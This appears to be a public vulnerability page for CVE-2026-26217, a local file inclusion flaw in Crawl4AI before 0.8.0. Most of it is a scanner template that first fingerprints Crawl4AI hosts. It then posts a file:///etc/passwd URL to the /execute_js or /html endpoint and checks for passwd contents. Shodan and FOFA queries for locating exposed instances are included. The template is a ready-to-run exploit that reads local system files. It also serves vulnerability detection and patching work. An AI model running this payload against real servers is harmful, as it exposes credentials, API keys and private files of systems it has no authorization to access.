CVE-2026-26217: Crawl4AI < 0.8.0 - Local File Inclusion

2026-08-18 Crawl4AI PoC Public

Description

The Crawl4AI Docker API endpoints accepted arbitrary URL schemes without an allow-list. An unauthenticated request with a file:// URL could read local files. Fixed in 0.8.0, which restricts accepted URL schemes.

PoC

id: CVE-2026-26217

info:
  name: Crawl4AI < 0.8.0 - Local File Inclusion
  author: str4k3r,Aryu-RU
  severity: critical
  description: |
    The Crawl4AI Docker API endpoints accepted arbitrary URL schemes without an allow-list. An unauthenticated request with a file:// URL could read local files. Fixed in 0.8.0, which restricts accepted URL schemes.
  impact: |
    Unauthenticated remote attackers can read sensitive files, exposing credentials, API keys, and internal application details.
  remediation: |
    Update to version 0.8.0 or later.
  reference:
    - https://github.com/unclecode/crawl4ai/security/advisories/GHSA-vx9w-5cx4-9796
  classification:
    cve-id: CVE-2026-26217
    epss-score: 0.01914
    epss-percentile: 0.788
  metadata:
    verified: true
    shodan-query: title:"Crawl4AI"
    fofa-query: title="Crawl4AI"
  tags: cve,cve2026,crawl4ai,lfi,file-read

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "crawl4ai")'
        internal: true

  - method: POST
    path:
      - "{{BaseURL}}/execute_js"
      - "{{BaseURL}}/html"
    headers:
      Content-Type: application/json
    body: '{"url": "file:///etc/passwd", "scripts": ["document.body.innerText"]}'

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402203ab59d780259d5952650a2eab2b470870d8736d6addb6f4b52a2438699bc91060220558893af9fa06f9f5fadd483bd319789f8224ba9478a5fa4418ee08c61ef0a3d:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities